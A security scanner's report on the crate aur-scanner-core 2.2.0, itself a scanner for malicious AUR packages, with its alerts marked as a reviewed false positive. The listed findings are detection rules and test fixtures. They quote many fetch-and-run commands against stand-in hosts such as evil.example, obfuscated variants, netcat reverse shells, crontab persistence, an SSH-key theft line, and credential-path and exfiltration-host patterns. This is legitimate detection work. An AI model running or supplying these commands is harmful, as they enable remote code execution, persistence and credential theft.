aur-scanner-core 2.2.0

Done dynamic on Linux job 61968 crates.io SBOM Findings (VEX)

New since 2.1.1: yara:reverse_shell

high

False positive. A person reviewed this verdict and found the crate benign. The evidence below is what the analysis saw.

Evidence

Points	Signal	Where	What
10	new_high_finding diff · aur-scanner-core	src/analyzer/pattern.rs:405	New since 2.1.1: yara:reverse_shell
10	new_high_finding diff · aur-scanner-core	src/rules/mod.rs:3818	New since 2.1.1: exfiltration_endpoint
10	static:exfiltration_endpoint static · aur-scanner-core	src/analyzer/source.rs:129	high severity exfiltration_endpoint in library code (6 places): pastebin.com
10	static:yara:reverse_shell static · aur-scanner-core	src/analyzer/pattern.rs:405	high severity yara:reverse_shell in library code (3 places): Reverse shell idioms
10	static:yara:wallet_and_browser_theft static · aur-scanner-core	src/rules/mod.rs:1065	high severity yara:wallet_and_browser_theft in library code: Names of cryptocurrency wallets or browser credential stores

4 without points

Signal	Where	What
static:credential_access static · aur-scanner-core	src/analyzer/metadata.rs:122	medium severity credential_access in library code (9 places): root/.ssh/
static:environment_enumeration static · aur-scanner-core	src/aur.rs:291	medium severity environment_enumeration in library code: std::env::vars
static:shell_command static · aur-scanner-core	src/analyzer/deep.rs:299	medium severity shell_command in library code (232 places): payload=$(echo aGVsbG8= \| base64 -d)\u{a}# ... later ...\u{a}eval "$payload"
static:yara:persistence_locations static · aur-scanner-core	README.md:568	medium severity yara:persistence_locations in library code (4 places): Paths and keys used to persist on a developer machine

Behavior

New since the previous version

static:environment_enumeration

Profile

static:credential_access static:environment_enumeration static:exfiltration_endpoint static:shell_command static:yara:persistence_locations static:yara:reverse_shell static:yara:wallet_and_browser_theft

Static findings

high exfiltration_endpoint library 6

pastebin.com src/analyzer/source.rs:129
transfer.sh src/analyzer/source.rs:133
\u{a}pkgname=test\u{a}pkgver=1.0\u{a}pkgrel=1\u{a}source=("https://pastebin.com/raw/abc123")\u{a} src/analyzer/source.rs:677
Uploads to a throwaway file-drop or tunnels through ngrok/webhook.site/requestbin/IPFS — exfil and ad-hoc C2 endpoints. src/rules/mod.rs:2209
\b(file\.io|0x0\.st|transfer\.sh|oshi\.at|bashupload\.com|temp\.sh|ngrok\.(io|app|dev)|webhook\.site|requestbin\.(com|net)|pipedream\.net|ipfs\.io/api)\b src/rules/mod.rs:2212
curl https://pastebin.com/raw/abc | sh src/rules/mod.rs:3818

high yara_match reverse_shell library 3

Reverse shell idioms src/analyzer/pattern.rs:405 src/provenance.rs:64 src/rules/mod.rs:858

high yara_match wallet_and_browser_theft library 1

Names of cryptocurrency wallets or browser credential stores src/rules/mod.rs:1065

medium shell_command library 193

payload=$(echo aGVsbG8= | base64 -d)\u{a}# ... later ...\u{a}eval "$payload" src/analyzer/deep.rs:299
post_install() {\u{a} cat <<EOF\u{a} example: echo data | base64 -d | sh\u{a}EOF\u{a}} src/analyzer/deep.rs:322
install -Dm644 <(echo Zm9v | base64 -d) "$pkgdir/etc/foo" src/analyzer/deep.rs:408
\u{a}pkgname=test\u{a}pkgver=1.0\u{a}pkgrel=1\u{a}build() {\u{a} curl https://evil.com/script.sh | bash\u{a}}\u{a} src/analyzer/pattern.rs:263
curl https://example.com/src.tar.gz src/analyzer/pattern.rs:323
wget https://example.com/src.tar.gz src/analyzer/pattern.rs:324
true;curl https://example.com/src.tar.gz src/analyzer/pattern.rs:329
make && wget https://example.com/src.tar.gz src/analyzer/pattern.rs:330
x=$(curl -s https://example.com/v) src/analyzer/pattern.rs:331
cmake --build build --target libcurl; curl https://example.com/x src/analyzer/pattern.rs:334
# curl is only needed for the -git variant\u{a} curl https://evil.example/x -o y src/analyzer/pattern.rs:348
A heredoc fed to a shell/interpreter expands a fetch (`$(curl ...)`) from {url_msg}, and the shell then executes the result. The scanner does NOT follow this reference, so what executes is unknown -- … src/analyzer/remote_exec.rs:666
build() {\u{a} curl -fsSL https://evil.example/x.sh | bash\u{a}} src/analyzer/remote_exec.rs:866
bash <(curl -s https://x.io/i) src/analyzer/remote_exec.rs:880
build() {\u{a} curl -fsSL https://evil.example/x \\u{a} | bash\u{a}} src/analyzer/remote_exec.rs:892
curl -fsSL https://evil.example/x.sh | dash src/analyzer/remote_exec.rs:907
curl -fsSL https://evil.example/x.sh | ash src/analyzer/remote_exec.rs:922
EVAL "$(curl https://evil.example/r)" src/analyzer/remote_exec.rs:941
curl -fsSL https://example.com/data.csv | r --no-save src/analyzer/remote_exec.rs:959
r <(curl -s https://example.com/script) src/analyzer/remote_exec.rs:960
curl -fsSL https://evil.example/m | Rscript - src/analyzer/remote_exec.rs:970
Rscript <(curl -s https://evil.example/n) src/analyzer/remote_exec.rs:971
curl -fsSL https://evil.example/x.sh | /bin/sh src/analyzer/remote_exec.rs:989
curl -fsSL https://evil.example/x.sh | busybox sh src/analyzer/remote_exec.rs:990
curl -fsSL https://evil.example/x.sh | /usr/bin/env sh src/analyzer/remote_exec.rs:991
curl -fsSL https://evil.example/x.sh | command busybox sh src/analyzer/remote_exec.rs:992
busybox sh <(curl -s https://evil.example/i) src/analyzer/remote_exec.rs:993
curl -fsSL https://evil.example/x | /usr/bin/python3 - src/analyzer/remote_exec.rs:995
curl -fsSL https://evil.example/x | node src/analyzer/remote_exec.rs:996
curl -fsSL https://evil.example/x | deno run - src/analyzer/remote_exec.rs:997
curl -fsSL https://evil.example/x | env python3 src/analyzer/remote_exec.rs:998
python3 <(curl -s https://evil.example/i) src/analyzer/remote_exec.rs:1014
perl <(curl -s https://evil.example/i) src/analyzer/remote_exec.rs:1015
node <(curl -s https://evil.example/i) src/analyzer/remote_exec.rs:1016
python3 -c "$(curl -s https://evil.example/i)" src/analyzer/remote_exec.rs:1017
perl -e "$(curl -s https://evil.example/i)" src/analyzer/remote_exec.rs:1018
node -e "$(curl -s https://evil.example/i)" src/analyzer/remote_exec.rs:1019
ruby -e "$(wget -qO- https://evil.example/i)" src/analyzer/remote_exec.rs:1020
curl -s https://evil.example/x | expect src/analyzer/remote_exec.rs:1035
curl -s https://evil.example/x | guile src/analyzer/remote_exec.rs:1036
curl -s https://evil.example/x | scala src/analyzer/remote_exec.rs:1037
curl -s https://evil.example/x | clojure src/analyzer/remote_exec.rs:1038
curl -s https://evil.example/x | racket src/analyzer/remote_exec.rs:1039
curl -s https://evil.example/x | elixir src/analyzer/remote_exec.rs:1040
curl -s https://evil.example/x | raku src/analyzer/remote_exec.rs:1041
curl -s https://evil.example/x | crystal src/analyzer/remote_exec.rs:1042
curl -s https://evil.example/x | bb src/analyzer/remote_exec.rs:1043
curl -s https://evil.example/x | ts-node src/analyzer/remote_exec.rs:1044
curl -s https://evil.example/x | runhaskell src/analyzer/remote_exec.rs:1045
curl -s https://evil.example/x | toybox sh src/analyzer/remote_exec.rs:1046
curl -s https://evil.example/x | R src/analyzer/remote_exec.rs:1047
php -r "$(curl -s https://evil.example/x)" src/analyzer/remote_exec.rs:1065
perl -ne "$(curl -s https://evil.example/x)" src/analyzer/remote_exec.rs:1066
ruby -ropen-uri -e "$(curl -s https://evil.example/x)" src/analyzer/remote_exec.rs:1067
python3 -B -c "$(curl -s https://evil.example/x)" src/analyzer/remote_exec.rs:1068
python3 <<< "$(curl -s https://evil.example/x)" src/analyzer/remote_exec.rs:1069
curl -s https://x/x | Rfoo src/analyzer/remote_exec.rs:1105
curl -s https://x/x | bbtool src/analyzer/remote_exec.rs:1105
curl -fsSL https://example.com/x | /usr/bin/tee out src/analyzer/remote_exec.rs:1120
curl -fsSL https://example.com/x | env grep foo src/analyzer/remote_exec.rs:1121
curl -fsSL https://example.com/x | busybox cat src/analyzer/remote_exec.rs:1122
post_install() {\u{a} cat <<EOF\u{a} To set up, run: curl -fsSL https://x.io/i.sh | sh\u{a}EOF\u{a}} src/analyzer/remote_exec.rs:1139
documented curl|sh in a printed heredoc must not fire EXEC-REMOTE: {f:?} src/analyzer/remote_exec.rs:1145
"cu""rl" -fsSL https://evil.example/x.sh | sh src/analyzer/remote_exec.rs:1155
curl -O https://example.com/src.tar.gz src/analyzer/remote_exec.rs:1169
pkgname=a\u{a}curl x|sh\u{a} src/aur.rs:943
The package raised findings it did not raise when it was last scanned. Reported at the severity of the worst NEW finding: a long-standing SKIP checksum is not news, a newly-appeared curl|sh is. Silent… src/catalog/mod.rs:289
curl https://c2.evil.example/beacon src/neturl.rs:371
wget hxxps://evil[.]example/x src/neturl.rs:375 src/threat_intel/ioc.rs:356
pkgname=t\u{a}pkgver=1\u{a}pkgrel=1\u{a}\u{a}build() {\u{a} echo "}"\u{a} curl https://evil/x | sh\u{a}}\u{a} src/parser/static_parser.rs:717
curl https://evil/x | sh src/parser/static_parser.rs:725
| sh src/provenance.rs:49
|sh src/provenance.rs:49
base64 -d src/provenance.rs:59
curl src/provenance.rs:74
wget src/provenance.rs:74
x=curl\u{a}$x https://evil/p | sh src/resolve.rs:751
curl https://evil/p | sh src/resolve.rs:752
wget https://evil/p -O- | bash src/resolve.rs:758
c=$(printf '\x63url')\n$c https://evil | sh src/resolve.rs:765
curl https://evil | sh src/resolve.rs:769 src/resolve.rs:776 src/resolve.rs:783 src/resolve.rs:789 src/resolve.rs:875 src/resolve.rs:888 src/resolve.rs:890 src/resolve.rs:896 src/resolve.rs:898 src/resolve.rs:912 src/resolve.rs:920 src/resolve.rs:941 src/resolve.rs:943 src/resolve.rs:945 src/resolve.rs:947
c="cu""rl"\u{a}$c https://evil | sh src/resolve.rs:775
a=curl\u{a}b=a\u{a}${!b} https://evil | sh src/resolve.rs:782
a=cur\u{a}b=${a}l\u{a}$b https://evil | sh src/resolve.rs:788
p="curl https://evil | sh"\u{a}eval $p src/resolve.rs:794
eval curl https://evil | sh src/resolve.rs:795
$undefined https://x | sh src/resolve.rs:823
a=curl\u{a}a=$(date)\u{a}$a https://evil | sh src/resolve.rs:841
curl https://evil src/resolve.rs:844
x=curl\u{a}$x https://evil | sh\u{a}make src/resolve.rs:851
build() {\u{a} x=curl\u{a}}\u{a}package() {\u{a} $x https://evil | sh\u{a}} src/resolve.rs:864
export x=curl\u{a}$x https://evil | sh src/resolve.rs:874
a=cur && b=${a}l && $b https://evil | sh src/resolve.rs:889
curl https://evil | $l src/resolve.rs:913
package() {\u{a} $_c https://evil | sh\u{a}}\u{a}_c=curl src/resolve.rs:919
cmd=(curl -s https://evil); "${cmd[@]}" | sh src/resolve.rs:925
curl -s https://evil | sh src/resolve.rs:926
curl${IFS}-s${IFS}https://evil|sh src/resolve.rs:931
curl -s https://evil|sh src/resolve.rs:932 src/resolve.rs:934
curl$IFS$9-s https://evil|sh src/resolve.rs:933
echo Y3VybCBodHRwczovL2V2aWwgfCBzaA== | base64 -d | sh src/resolve.rs:940
base64 -d <<< Y3VybCBodHRwczovL2V2aWwgfCBzaA== | sh src/resolve.rs:942
echo 6375726c2068747470733a2f2f6576696c207c207368 | xxd -r -p | sh src/resolve.rs:944
printf '\x63\x75\x72\x6c https://evil' | sh src/resolve.rs:946
echo iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJ | base64 -d > icon.png src/resolve.rs:953
echo {big} | base64 -d | sh src/resolve.rs:960
dl() { curl -s https://evil -o /tmp/x; }\u{a}build() {\u{a} dl\u{a}}\u{a}unrelated() {\u{a} wget https://x\u{a}} src/resolve.rs:966
curl -s https://evil src/resolve.rs:968
/opt/[^/]+/[^/]+\.(py|sh|bin) src/rules/mod.rs:1117
(bit\.ly|tinyurl|t\.co|goo\.gl|is\.gd|v\.gd|shorte\.st|adf\.ly)/ src/rules/mod.rs:1681
(cp|mv|install).*(/usr/local/share|~/.local/share)/[^/]+\.(bin|elf|py|sh) src/rules/mod.rs:1794
mkfifo paired with nc/openssl/ /dev/tcp — the classic backpipe reverse shell that evades `nc -e` detection. src/rules/mod.rs:2119
A reverse shell via busybox nc -e, telnet piped to a shell, or ncat --ssl -e. src/rules/mod.rs:2132
curl uploading a local file (-T/--upload-file/-F/--data-urlencode) — used to send harvested data to an attacker endpoint. src/rules/mod.rs:2167
wget POST exfiltration src/rules/mod.rs:2179
wget --post-data/--post-file sending local data to a remote endpoint. src/rules/mod.rs:2180
(>>?|tee\s+-?a?)\s*\S*/etc/(passwd|shadow|group|gshadow)\b src/rules/mod.rs:2345
sh -c "$(curl ...)" — fetches and runs remote code without an explicit pipe, evading the curl|sh rules. src/rules/mod.rs:2545
`make -f -` / `make -f /dev/stdin` executes a Makefile fed on standard input (commonly the tail of a `curl ... | make -f -` fetch-and-run). A Makefile is arbitrary shell recipes, so this is RCE from a… src/rules/mod.rs:2589
curl https://malicious.com/script.sh | bash src/rules/mod.rs:2645
echo '* * * * * curl evil.sh|sh' | crontab - src/rules/mod.rs:2734
curl -s https://evil.example/c > /etc/cron.d/pkg src/rules/mod.rs:2738
base64 -d payload.b64 >> /etc/cron.hourly/pkg src/rules/mod.rs:2739
build() {\u{a} dl=wget\u{a} $dl -qO- https://evil.example/p | sh\u{a}} src/rules/mod.rs:2860
printf 'hi'; echo "$(curl https://evil/x)" > ~/.profile src/rules/mod.rs:2924
build() {\u{a} curl https://evil/x.sh \\u{a} | bash\u{a}} src/rules/mod.rs:2940
echo 'payload' | base64 -d | sh src/rules/mod.rs:3010
curl -fsSL https://evil/x | dash src/rules/mod.rs:3144
curl -fsSL https://evil/x | ash src/rules/mod.rs:3157
curl -fsSL https://evil/x | mksh src/rules/mod.rs:3158 src/rules/mod.rs:3213
wget -qO- https://evil/x | ash src/rules/mod.rs:3159
curl -fsSL https://evil/x | /bin/sh src/rules/mod.rs:3202
curl -fsSL https://evil/x | /usr/bin/bash src/rules/mod.rs:3203
curl -fsSL https://evil/x | busybox sh src/rules/mod.rs:3204
curl -fsSL https://evil/x | busybox ash src/rules/mod.rs:3205
curl -fsSL https://evil/x | env sh src/rules/mod.rs:3206
curl -fsSL https://evil/x | /usr/bin/env sh src/rules/mod.rs:3207
curl -fsSL https://evil/x | env -i sh src/rules/mod.rs:3208
curl -fsSL https://evil/x | env FOO=bar sh src/rules/mod.rs:3209
curl -fsSL https://evil/x | command busybox sh src/rules/mod.rs:3210
curl -fsSL https://evil/x | nice dash src/rules/mod.rs:3211
curl -fsSL https://evil/x | yash src/rules/mod.rs:3214
curl -fsSL https://evil/x | xonsh src/rules/mod.rs:3215
curl -fsSL https://evil/x | nu src/rules/mod.rs:3216
curl -fsSL https://evil/x | oil src/rules/mod.rs:3217
wget -qO- https://evil/x | /bin/sh src/rules/mod.rs:3226
sqlite3 mydb ".system curl evil | sh" src/rules/mod.rs:3239
curl https://e/x | make -f - src/rules/mod.rs:3270
curl -fsSL https://x | /usr/bin/tee out.txt src/rules/mod.rs:3300
curl -fsSL https://x | env grep foo src/rules/mod.rs:3301
curl -fsSL https://x | nice make src/rules/mod.rs:3302
curl -fsSL https://x | command ls src/rules/mod.rs:3303
curl -fsSL https://x | /bin/number src/rules/mod.rs:3304
curl -fsSL https://x | busybox cat src/rules/mod.rs:3305
curl -fsSL https://x | awkward-tool src/rules/mod.rs:3306
chmod +x /tmp/x src/rules/mod.rs:3432
chmod +x "$pkgdir/usr/bin/foo" src/rules/mod.rs:3527
./configure --with-func -e something src/rules/mod.rs:3608
nc -e /bin/sh 10.0.0.1 4444 src/rules/mod.rs:3623
/usr/bin/nc -e /bin/sh 10.0.0.1 4444 src/rules/mod.rs:3627
cat /etc/passwd | nc -e /bin/sh 10.0.0.1 4444 src/rules/mod.rs:3630
foo && nc -e /bin/sh 10.0.0.1 4444 src/rules/mod.rs:3631
curl https://pastebin.com/raw/abc | sh src/rules/mod.rs:3818
warning() { "$@" | sh; }\u{a}function note {\u{a} eval "$1"\u{a}}\u{a}alias plain='sh -c'\u{a} src/rules/shadow.rs:469
warning() { "$@" | sh; }\u{a} src/rules/shadow.rs:489
curl -s https://evil.example/x | sh src/rules/shadow.rs:492
(?:elvish|xonsh|ksh93|pdksh|loksh|rbash|bash|dash|mksh|oksh|posh|yash|fish|tcsh|oils|zsh|csh|ksh|ash|oil|osh|nu|sh) src/textutil.rs:459
(?:powershell|runhaskell|runghc|python(?:3(?:\.\d+)?|2)?|pypy|perl6|perl|ruby|php|nodejs|node|luajit|lua|tclsh|wish|deno|bun|(?-i:Rscript)|julia|gawk|mawk|nawk|awk|groovy|expect|guile|scala|clojure|cl… src/textutil.rs:480
"cu""rl" -fsSL https://evil/x | sh src/textutil.rs:601
curl -fsSL https://evil/x | sh src/textutil.rs:602
curl -fsSL https://evil/x | bash src/textutil.rs:612
curl evil src/textutil.rs:625
x | sh src/textutil.rs:665
curl -fsSL https://evil/x \\u{a} | bash src/textutil.rs:753
curl https://evil.example/beacon src/threat_intel/ioc.rs:354
curl https://notevil.example/x src/threat_intel/ioc.rs:363

medium shell_command test 39

_c=curl\u{a}package() {\u{a} $_c -s http://e.example/x | sh\u{a}} tests/detection_hardening.rs:61
package() {\u{a} $_c -s http://e.example/x | sh\u{a}}\u{a}_c=curl tests/detection_hardening.rs:73
build() {\u{a} c=curl\u{a} true\u{a}}\u{a}package() {\u{a} $c -s http://e.example/x | sh\u{a}} tests/detection_hardening.rs:83
package() {\u{a} c=curl\u{a} $c -s http://e.example/x | sh\u{a}} tests/detection_hardening.rs:105
curl -s http://e.example/x | rev | sh tests/detection_hardening.rs:131
curl -s http://e.example/x | tr a-z n-za-m | bash tests/detection_hardening.rs:132
wget -qO- http://e.example/x | sed s/a/b/ | rev | sh tests/detection_hardening.rs:133
package() {\u{a} curl -s http://e.example/x | rev | tee out\u{a} curl -s http://e.example/y || sh -c 'echo failed'\u{a}} tests/detection_hardening.rs:144
package() {\u{a} curl -o f http://e.example/x\u{a} sh f\u{a}} tests/detection_hardening.rs:205
package() {\u{a} curl -o ~/.x http://e.example/x; bash ~/.x\u{a}} tests/detection_hardening.rs:206 tests/detection_hardening.rs:223
package() {\u{a} f=/tmp/f\u{a} curl -o $f http://e.example/x\u{a} bash $f\u{a}} tests/detection_hardening.rs:207
package() {\u{a} wget -O f http://e.example/x\u{a} chmod +x f\u{a} ./f\u{a}} tests/detection_hardening.rs:208
package() {\u{a} curl -o t http://e.example/x\u{a} ldd ./t\u{a}} tests/detection_hardening.rs:211
package() {\u{a} curl -fsSLo f http://e.example/x && . ./f\u{a}} tests/detection_hardening.rs:212
package() {\u{a} curl -O http://e.example/x.sh\u{a} bash x.sh\u{a}} tests/detection_hardening.rs:213
package() {\u{a} curl -o data.tar.gz http://e.example/x.tar.gz\u{a} tar xf data.tar.gz\u{a} chmod +x helper.sh\u{a} sh helper.sh\u{a} wget -o wget.log -O out.bin http://e.example/y\u{a} cat out.… tests/detection_hardening.rs:233
f() { curl -s http://e.example/x | sh; }\u{a}package() {\u{a} f\u{a}} tests/detection_hardening.rs:246
package() {\u{a} cmd=(curl -s http://e.example/x); "${cmd[@]}" | sh\u{a}} tests/detection_hardening.rs:276
package() {\u{a} bash <<EOF\u{a}$(curl -s http://e.example/x)\u{a}EOF\u{a}} tests/detection_hardening.rs:289
package() {\u{a} cat <<EOF > "$pkgdir/usr/share/doc/t/README"\u{a}Run: $(curl -s http://e.example/x) to see\u{a}EOF\u{a} bash <<< word\u{a} make\u{a}} tests/detection_hardening.rs:299
curl${IFS}-s${IFS}http://e.example/x|sh tests/detection_hardening.rs:311
wget${IFS}-qO-${IFS}http://e.example/x|sh tests/detection_hardening.rs:313
package() {{\u{a} echo {b64} | base64 -d | sh\u{a}}} tests/detection_hardening.rs:364
package() {{\u{a} echo {hex} | xxd -r -p | sh\u{a}}} tests/detection_hardening.rs:379
package() {\u{a} echo aGVsbG8gd29ybGQsIHRoaXMgaXMgZmluZQ== | base64 -d > "$pkgdir/usr/share/t/msg"\u{a} echo iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJ | base64 -d > "$pkgdir/usr/share/t/i.png"… tests/detection_hardening.rs:390
curl -o ~/.x http://e.example/x tests/detection_hardening.rs:503
warning() {\u{a} "$@" | sh\u{a}}\u{a}post_install() {\u{a} warning curl -s https://evil.example/x\u{a}}\u{a} tests/package_scan_hardening.rs:51
plain() { "$@" | sh; }\u{a}prepare() { plain wget -qO- https://evil.example/x; }\u{a} tests/package_scan_hardening.rs:64
note() { sh -c "$1"; }\u{a}package() {\u{a} note "curl -s https://evil.example/x | sh"\u{a}}\u{a} tests/package_scan_hardening.rs:72
msg2() { eval "$1"; }\u{a}package() {\u{a} msg2 "curl -s https://evil.example/x | sh"\u{a}}\u{a} tests/package_scan_hardening.rs:81
msg() { eval "$@"; }\u{a}post_install() {\u{a} msg 'curl -s https://evil.example/x | sh'\u{a}}\u{a} tests/package_scan_hardening.rs:96
install=zz.install\u{a}warning() { "$@" | sh; }\u{a}package() { true; }\u{a} tests/package_scan_hardening.rs:105
package() {\u{a} note "curl -s https://example.org/x | sh is what upstream suggests"\u{a}}\u{a} tests/package_scan_hardening.rs:121
msg() { echo "==> $1" >&2; }\u{a}package() {\u{a} msg "curl -s https://example.org/x | sh is what upstream suggests"\u{a}}\u{a} tests/package_scan_hardening.rs:131
curl -s https://evil.example/x | sh\u{a} tests/package_scan_hardening.rs:147 tests/package_scan_hardening.rs:157 tests/package_scan_hardening.rs:174
curl is a tool for fetching URLs.\u{a} tests/package_scan_hardening.rs:195

medium credential_access library 9

root/.ssh/ src/analyzer/metadata.rs:122
~/\.ssh/ src/rules/mod.rs:954
\$HOME/\.ssh/ src/rules/mod.rs:957
/home/[^/]+/\.ssh/ src/rules/mod.rs:960
\.aws/credentials src/rules/mod.rs:1006
\.kube/config src/rules/mod.rs:1009
Login Data src/rules/mod.rs:1065
(\.git-credentials|\.config/gcloud|\.docker/config\.json|\.npmrc|\.pypirc|\.cargo/credentials|\.terraformrc|\.config/gh/hosts) src/rules/mod.rs:2240
cat ~/.ssh/id_rsa > /tmp/stolen src/rules/mod.rs:3413

medium yara_match persistence_locations library 3

Paths and keys used to persist on a developer machine README.md:568 src/rules/mod.rs:616 src/validate.rs:8

medium environment_enumeration library 1

std::env::vars src/aur.rs:291

medium yara_match persistence_locations test 1

Paths and keys used to persist on a developer machine tests/detection_hardening.rs:326

low network_access library 15

reqwest::Response src/aur.rs:36 src/threat_intel/remote.rs:65
reqwest::Client src/aur.rs:126 src/threat_intel/remote.rs:47
reqwest::Client::builder src/aur.rs:146 src/threat_intel/remote.rs:48
reqwest::redirect::Policy::none src/aur.rs:149 src/threat_intel/remote.rs:51
reqwest::Url src/aur.rs:163
reqwest::Url::parse src/aur.rs:164 src/aur.rs:381
reqwest::Error src/error.rs:88 src/error.rs:89
reqwest::StatusCode::NOT_FOUND src/threat_intel/remote.rs:157 src/threat_intel/remote.rs:190

low process_spawn library 10

tokio::process::Command::new src/aur.rs:289 src/aur.rs:673 src/aur.rs:712 src/aur.rs:743 src/aur.rs:753 src/aur.rs:900 src/depgraph.rs:465 src/depgraph.rs:485
tokio::process::Command src/aur.rs:495
std::process::Command::new src/lib.rs:627

low foreign_functions library 1

extern block src/history.rs:141

info url_literal library 351

\u{a}pkgname=test\u{a}pkgver=1.0\u{a}pkgrel=1\u{a}source=("https://example.com/app-1.0.tar.gz"\u{a} "https://example.com/app-1.0.tar.gz.sig"\u{a} "local-fix.patch")\u{a}sha256sums=('abcd… src/analyzer/checksum.rs:365
https://example.com/app-1.0.tar.gz.sig src/analyzer/checksum.rs:405
\u{a}pkgname=test\u{a}pkgver=1.0\u{a}pkgrel=1\u{a}source=("app.tar.gz::https://example.com/download?id=42"\u{a} "https://example.com/other.tar.gz")\u{a}sha256sums=('SKIP'\u{a} 'abcd1… src/analyzer/checksum.rs:425
\u{a}pkgname=test\u{a}pkgver=1.0\u{a}pkgrel=1\u{a}source=("https://example.com/a.tar.gz" "https://example.com/b.tar.gz")\u{a}sha256sums=('SKIP' 'SKIP')\u{a} src/analyzer/checksum.rs:448
\u{a}pkgname=test\u{a}pkgver=1.0\u{a}pkgrel=1\u{a}source=("https://example.com/file.tar.gz")\u{a} src/analyzer/checksum.rs:471
\u{a}pkgname=test\u{a}pkgver=1.0\u{a}pkgrel=1\u{a}source=("https://example.com/file.tar.gz")\u{a}md5sums=('abc123')\u{a} src/analyzer/checksum.rs:488
\u{a}pkgname=test\u{a}pkgver=1.0\u{a}pkgrel=1\u{a}source=("git+https://github.com/user/repo.git")\u{a}sha256sums=('SKIP')\u{a} src/analyzer/checksum.rs:507
\u{a}pkgname=test\u{a}pkgver=1.0\u{a}pkgrel=1\u{a}source=("git+https://github.com/user/repo.git"\u{a} "https://example.com/file.tar.gz")\u{a}sha256sums=('SKIP'\u{a} 'abc123def456')… src/analyzer/checksum.rs:532
\u{a}pkgname=test\u{a}pkgver=1.0\u{a}pkgrel=1\u{a}source=("https://example.com/a.tar.gz"\u{a} "https://example.com/b.tar.gz")\u{a}sha256sums=('realhash000000000000000000000000000000000000000000… src/analyzer/checksum.rs:563
\u{a}pkgname=test\u{a}pkgver=1.0\u{a}pkgrel=1\u{a}source=("git+https://github.com/u/r.git#commit=abcdef1234567890")\u{a}sha256sums=('SKIP')\u{a} src/analyzer/checksum.rs:590
\u{a}pkgname=test\u{a}pkgver=1.0\u{a}pkgrel=1\u{a}source=("https://example.com/file.tar.gz")\u{a}sha256sums=('SKIP')\u{a} src/analyzer/checksum.rs:610
pkgname=a\u{a}pkgver=1\u{a}pkgrel=1\u{a}validpgpkeys=('ABCDEF0123456789')\u{a}source=('https://x/a.tar.gz')\u{a} src/analyzer/metadata.rs:590
pkgname=a\u{a}pkgver=1\u{a}pkgrel=1\u{a}validpgpkeys=('ABCDEF0123456789')\u{a}source=('https://x/a.tar.gz' 'https://x/a.tar.gz.sig')\u{a} src/analyzer/metadata.rs:599
\u{a}pkgname=test\u{a}pkgver=1.0\u{a}pkgrel=1\u{a}build() {\u{a} curl https://evil.com/script.sh | bash\u{a}}\u{a} src/analyzer/pattern.rs:263
pkgname=test\u{a}pkgver=1.0\u{a}pkgrel=1\u{a}build() {\u{a} CURL https://evil.com/x -o out\u{a}}\u{a} src/analyzer/pattern.rs:285
curl https://example.com/src.tar.gz src/analyzer/pattern.rs:323
wget https://example.com/src.tar.gz src/analyzer/pattern.rs:324
fetch https://example.com/src.tar.gz src/analyzer/pattern.rs:325
/usr/bin/curl https://example.com/src.tar.gz src/analyzer/pattern.rs:326
./wget https://example.com/src.tar.gz src/analyzer/pattern.rs:327
\curl https://example.com/src.tar.gz src/analyzer/pattern.rs:328
true;curl https://example.com/src.tar.gz src/analyzer/pattern.rs:329
make && wget https://example.com/src.tar.gz src/analyzer/pattern.rs:330
x=$(curl -s https://example.com/v) src/analyzer/pattern.rs:331
$curl https://example.com/src.tar.gz src/analyzer/pattern.rs:332
${wget} https://example.com/src.tar.gz src/analyzer/pattern.rs:333
cmake --build build --target libcurl; curl https://example.com/x src/analyzer/pattern.rs:334
# curl is only needed for the -git variant\u{a} curl https://evil.example/x -o y src/analyzer/pattern.rs:348
# curl https://example.com is mirrored in source=() src/analyzer/pattern.rs:353
curl\u{9}https://example.com/x -o y src/analyzer/pattern.rs:361
"curl" https://example.com/x -o y src/analyzer/pattern.rs:362
'w'get https://example.com/x src/analyzer/pattern.rs:363
\u{a}pkgname=test\u{a}pkgver=1.0\u{a}pkgrel=1\u{a}source=("https://example.com/test.tar.gz")\u{a}sha256sums=('abc123')\u{a}build() {\u{a} make\u{a}}\u{a}package() {\u{a} make DESTDIR="$pkgdir" i… src/analyzer/pattern.rs:378
:// src/analyzer/remote_exec.rs:293 src/analyzer/remote_exec.rs:352 src/analyzer/remote_exec.rs:457 src/neturl.rs:54 src/neturl.rs:95 src/neturl.rs:128 src/neturl.rs:204 src/parser/mod.rs:249 src/parser/mod.rs:252 src/threat_intel/remote.rs:101
build() {\u{a} curl -fsSL https://evil.example/x.sh | bash\u{a}} src/analyzer/remote_exec.rs:866
https://evil.example/x.sh src/analyzer/remote_exec.rs:873 src/analyzer/remote_exec.rs:1161 src/sbom.rs:607 src/sbom.rs:626
bash <(curl -s https://x.io/i) src/analyzer/remote_exec.rs:880
build() {\u{a} curl -fsSL https://evil.example/x \\u{a} | bash\u{a}} src/analyzer/remote_exec.rs:892
curl -fsSL https://evil.example/x.sh | dash src/analyzer/remote_exec.rs:907
curl -fsSL https://evil.example/x.sh | ash src/analyzer/remote_exec.rs:922
CURL -fsSL https://evil.example/x.sh | SH src/analyzer/remote_exec.rs:938
Wget -qO- https://evil.example/x.sh | Bash src/analyzer/remote_exec.rs:939
BASH <(CURL -s https://evil.example/i) src/analyzer/remote_exec.rs:940
EVAL "$(curl https://evil.example/r)" src/analyzer/remote_exec.rs:941
curl -fsSL https://example.com/data.csv | r --no-save src/analyzer/remote_exec.rs:959
r <(curl -s https://example.com/script) src/analyzer/remote_exec.rs:960
curl -fsSL https://evil.example/m | Rscript - src/analyzer/remote_exec.rs:970
Rscript <(curl -s https://evil.example/n) src/analyzer/remote_exec.rs:971
curl -fsSL https://evil.example/x.sh | /bin/sh src/analyzer/remote_exec.rs:989
curl -fsSL https://evil.example/x.sh | busybox sh src/analyzer/remote_exec.rs:990
curl -fsSL https://evil.example/x.sh | /usr/bin/env sh src/analyzer/remote_exec.rs:991
curl -fsSL https://evil.example/x.sh | command busybox sh src/analyzer/remote_exec.rs:992
busybox sh <(curl -s https://evil.example/i) src/analyzer/remote_exec.rs:993
curl -fsSL https://evil.example/x | /usr/bin/python3 - src/analyzer/remote_exec.rs:995
curl -fsSL https://evil.example/x | node src/analyzer/remote_exec.rs:996
curl -fsSL https://evil.example/x | deno run - src/analyzer/remote_exec.rs:997
curl -fsSL https://evil.example/x | env python3 src/analyzer/remote_exec.rs:998
python3 <(curl -s https://evil.example/i) src/analyzer/remote_exec.rs:1014
perl <(curl -s https://evil.example/i) src/analyzer/remote_exec.rs:1015
